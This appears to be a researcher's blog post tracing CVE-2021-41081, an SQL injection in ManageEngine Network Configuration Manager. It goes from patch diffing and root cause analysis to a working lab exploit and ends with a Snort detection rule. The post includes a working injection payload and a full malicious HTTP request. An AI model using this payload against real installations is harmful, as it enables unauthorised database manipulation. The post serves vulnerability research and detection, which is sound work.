N-day Vulnerability Research (From patch to exploit analysis of CVE-2021-41081)

Published on: Sun, 05 Dec 2021


In this blog post we’ll explore the process of performing n-day vulnerability research.

The CVE-2021-41081 was assigned for SQL injection vulnerability issue in configuration search of Zoho ManageEngine Network Configuration Manager (NCM).

We can find more details about this vulnerability in the advisory here


Vulnerability Details
Severity High
Reported 07 Sep 2021
Fixed 08-Sep-2021
Affected Builds Builds 123055 - 125464
Fixed in Builds 125465/125436/125455
Overview The SQL injection vulnerability issue in configuration search has now been fixed.

We’ll go over each of the steps involved in the n-day vulnerability research

  1. Obtain vulnerable and patched version of the product
  2. Create setup
  3. Perform source code diffing
  4. Perform root cause analysis
  5. Exploit
  6. Detection

1. Obtain vulnerable and patched version of the product

We can obtain the vulnerable version of Network Configuration Manager from the official source

We’ll grab the builds 125465 (fixed version) and 125451 (vulnerable version). We’ll consider using Windows 64 bit installer of the product in this case as it’ll be easier to use the product with MSSQL server and SQL Server Management Studio (SSMS)


2. Create setup

Firstly we’ll need to install MSSQL Server. We’ll grab SQL Server 2019 developer edition from here and SQL Server Management Studio (SSMS) from here. Make sure to take save the snapshot of the VM as we’ll reuse this snapshot to install the patched version of the product.

We’ll install 125465 (fixed version) and 125451 (vulnerable version) on Windows 10 VM and use MSSQL option for database while installing NCM.

Select following options during installation of NCM


Option Value
Backend database MSSQL
Database Authentication WINDOWS-Authentication
Hostname localhost
Port 1433
Domain Name Your computer Name
Database Name OpManagerDB
Username Your computer username
Password Your computer password

Additionally we’ll need to provide path to bcp.exe which is C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\bcp.exe

  • Note: Make sure the SQL Server 2019 is listening on port 1433. This should happen automatically after you rebooting system once SQL server is installed.

Once the installation is complete take snapshot of the VM and we’ll copy the content of the C:\Program Files\ManageEngine\OpManager somewhere like ~/Desktop/125451/

We’ll repeat the same process to get source of the patched version of NCM (build 125465) and store the content of C:\Program Files\ManageEngine\OpManager somewhere like ~/Desktop/125465/


3. Perform source code diffing

Now that we’ve source code for both the vulnerable NCM (build 125451) and patched NCM (build 125465). We can use IntelliJ IDEA to perform Java source code diffing.

We can simply use following steps to see source diff 1. open the ~/Desktop/ directory in IntelliJ IDEA 2. Select ~/Desktop/125451/OpManager 3. Hit Ctrl+d and select ~/Desktop/125465/OpManager in the dialog box

This should give us the source code diff as shown below:

source diff

The interesting thing about IntelliJ IDEA is that you can select any JAR files and then it’ll decompile and perform the source code diffing of the files / classes present in the JAR.

We can simply go from files to files or use search functionality of IntelliJ IDEA to find the changes in the source code. The relevant source file for this vulnerability is lib/AdvNCM.jar. The classes NCMConfigCrawler.class and NCMMSSQLConfigCrawler.class are updated to mitigate this SQL injection vulnerability by using RESTApiQueryUtil as shown in following screenshot:

source diff 1


4. Perform root cause analysis

Now that we know the classes NCMConfigCrawler.class and NCMMSSQLConfigCrawler.class take in un-trusted input and use it in the creation of SQL statement. Let’s analyze the SQL query

     public String getCriteriaString() throws Exception {
        StringBuilder criteria = new StringBuilder();
        <b>JSONArray advConfigSearchArr = this.searchCriteria.getJSONArray("criteria");</b>

        for(int i = 0; i < advConfigSearchArr.length(); ++i) {
            JSONObject conditionObj = advConfigSearchArr.getJSONObject(i);
            String condition = conditionObj.getString("condition");
            String value = conditionObj.getString("value");
            String operator = conditionObj.getString("andor");
            String append = "( FILE_CONTENTS LIKE '%" + value + "%' )";
            if ("notcontains".equalsIgnoreCase(condition)) {
                append = "( FILE_CONTENTS NOT LIKE '%" + value + "%' )";
            }

            this.appendCriteria(criteria, append, operator);
        }

        return criteria.toString();
    }

...Truncated...

    public void run() {
        try {
            List versionIds = RESTApiQueryUtil.getInstance().getAllVersionIdList(this.userID);
            long size = (long)versionIds.size();
            int offset = 0;
            int configFound = 0;
            **String criteriaString = this.getCriteriaString()**;

            label335:
            while(this.isActiveSearch() && (long)offset <= size) {
                StringBuilder inBuilder = new StringBuilder();
                int i = 0;

                while(true) {
                    if (i < this.batchsize) {
                        int index = i + offset;
                        if ((long)index < size) {
                            if (inBuilder.length() == 0) {
                                inBuilder.append("" + versionIds.get(index));
                            } else {
                                inBuilder.append("," + versionIds.get(index));
                            }

                            ++i;
                            continue;
                        }
                    }

                    offset += this.batchsize;
                    String inCriteria = " NCMVERSION.VERSION_ID IN (" + inBuilder.toString() + ")";
                    String criteria = " WHERE " + inCriteria + " AND (" + **criteriaString** + ") order by NCMVERSION.TIMESTAMP desc";
                    String finalQuery = "select NCMVERSION.VERSION_ID, NCMVERSION.VERSION_NO, NCMVERSION.CHANGED_BY, NCMVERSION.TIMESTAMP, NCMCONFIGFILE.FILE_TYPE, NCMDEVICES.RESOURCEID, NCMDEVICES.RESOURCENAME, NCMDEVICES.DISPLAYTYPE, IPV4ADDRESS.ADDRESS, NCMVERSION.FILE_CONTENTS from NCMVERSION inner join NCMCONFIGFILEVERSION on NCMVERSION.VERSION_ID=NCMCONFIGFILEVERSION.VERSION_ID inner join NCMCONFIGFILE on NCMCONFIGFILEVERSION.FILE_ID=NCMCONFIGFILE.FILE_ID inner join NCMRESOURCECONFIGFILE on NCMCONFIGFILE.FILE_ID=NCMRESOURCECONFIGFILE.FILE_ID inner join NCMDEVICES on NCMRESOURCECONFIGFILE.RESOURCEID=NCMDEVICES.RESOURCEID inner join NECOMPONENT on NCMDEVICES.RESOURCEID=NECOMPONENT.NETWORKELEMENTID inner join NEINTERFACE on NECOMPONENT.RESOURCEID=NEINTERFACE.RESOURCEID inner join IPV4ADDRESS on NEINTERFACE.NEINTERFACEADDRESSID=IPV4ADDRESS.ADDRESSID" + **criteria**;
                    RelationalAPI relapi = RelationalAPI.getInstance();
                    Connection conn = null;
                    DataSet ds = null;

...Truncated...

The criteria JSON key holds the configuration search criteria as list of JSON search items like

{
  "criteria": [
    {
      "andor": "or",
      "condition": "contains",
      "value": "1"
    },
    {
      "andor": "OR",
      "condition": "notcontains",
      "value": "0"
    }
  ]
}

The values "1" and "0" are passed in the SQL statement as per the source shown above

String criteria = " WHERE " + inCriteria + " AND (" + **0** + ") order by NCMVERSION.TIMESTAMP desc";

We can take advantage of this and terminate the current SQL query and perform additional SQL statements.

Following is simple payload to inject SQL statement to create new table named SQLi in the OpManagerDB

{
  "criteria": [
    {
      "andor": "or",
      "condition": "search",
      "value": "1' )); CREATE TABLE SQLi (a int); --"
    }
  ]
}

Additionally we can setup debugging in IntelliJ IDEA adding following JAVA_OPTS in C:\Program Files\ManageEngine\OpManager\bin\run.bat

set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

The debugging of the following malicious GET request is shown below:

GET /client/api/json/ncmconfig/searchConfig?**CONFIG_SEARCH_CRITERIA=%7B%22criteria%22%3A%5B%7B%22andor%22%3A%22or%22%2C%22condition%22%3A%22search%22%2C%22value%22%3A%221%27%20%20))%3B%20CREATE%20TABLE%20SQLi%20(a%20int)%3B%20-**-%22%7D%5D%7D&_=1638686105123 HTTP/1.1
Host: ncm:8060
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-ZCSRF-TOKEN: opmcsrftoken=b85c0641a8808e6c35a0f4770f2de79ee5dd29b90df070dce4a5e9028d258223279203ec0fa1c216226de6c6680ed040234dd3e8ab950414be549b03495400d2
OPMCurrentRoute: http%3A%2F%2Fncm%3A8060%2Fapiclient%2Fember%2Findex.jsp%23%2FInventory%2FList%2FConfigMgmt%2FConfigs
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: keep-alive
Referer: http://ncm:8060/apiclient/ember/index.jsp
Cookie: JSESSIONID=4494B8941614F20DE1D3797FF9A9D314; opmcsrfcookie=b85c0641a8808e6c35a0f4770f2de79ee5dd29b90df070dce4a5e9028d258223279203ec0fa1c216226de6c6680ed040234dd3e8ab950414be549b03495400d2; _zcsr_tmp=b85c0641a8808e6c35a0f4770f2de79ee5dd29b90df070dce4a5e9028d258223279203ec0fa1c216226de6c6680ed040234dd3e8ab950414be549b03495400d2; CountryName=UNITED+STATES; signInAutomatically=true; f2RedirectUrl=http%3A%2F%2Fncm%3A8060%2Fapiclient%2Fember%2Findex.jsp%23%2FInventory%2FList%2FConfigMgmt%2FConfigs; NFA__SSO=DC541F1BA30376334FEF8ED9AD306660

intelliJ debug


5. Exploit

We can login to the NCM and navigate to configuration search http://ncm:8060/apiclient/ember/index.jsp#/Inventory/List/ConfigMgmt/Configs and insert our payload and hit search as shown in screenshot below:

exploit

This creates new table in OpManagerDB as shown below:

Database


6. Detection

We can create Snort rule to detect the malicious traffic. To create Snort rule for our exploit traffic listed above we’ve

  • Vulnerable URI = /client/api/json/ncmconfig/searchConfig
  • Vulnerable URI parameter = CONFIG_SEARCH_CRITERIA
  • Vulnerable condition = Presence of single quote ['] value of JSON key named 'value'

As the traffic is not on standard HTTP port, we’ll not be able to take advantage of http_inspect buffers in our rule

We can have following rule for detection of this exploitation attempt:

alert tcp $EXTERNAL_NET any -> $HOME_NET [$HTTP_PORTS,8060] ( \
    msg:"CVE-2021-41081 SQL Injection Attempt"; \
    flow:to_server,established; \
    content:"GET /client/api/json/ncmconfig/searchConfig"; fast_pattern:only; \ 
    content:"CONFIG_SEARCH_CRITERIA="; nocase; \
    content:"%22criteria%22"; distance:0; nocase; \
    content:"%22value%22"; distance:0; nocase; \
    content:"%22"; distance:0; nocase; \
    content:"%27"; distance:0; within:30; nocase; \
    content:!"%22"; distance:0; within:30; nocase; \
    classtype:web-application-attack; \
    sid:1000000; \
) 

here’s inline version of the rule:

alert tcp $EXTERNAL_NET any -> $HOME_NET [$HTTP_PORTS,8060] ( msg:"CVE-2021-41081 SQL Injection Attempt"; flow:to_server,established; content:"GET /client/api/json/ncmconfig/searchConfig"; fast_pattern:only; content:"CONFIG_SEARCH_CRITERIA="; distance:0; nocase; content:"%22criteria%22"; distance:0; nocase; content:"%22value%22"; distance:0; nocase; content:"%22"; distance:0; nocase; content:"%27"; distance:0; within:30; nocase; content:!"%22"; distance:0; within:30; nocase; classtype:web-application-attack; sid:1000000; )

We can finally test our rule against the normal and exploit traffic to see if they work properly (I used snort2-docker to test Snort rule)

Snort Run


Thank you for reading. I hope you found this blog post helpful :)


Best Regards,
Amit




Return to Blog Home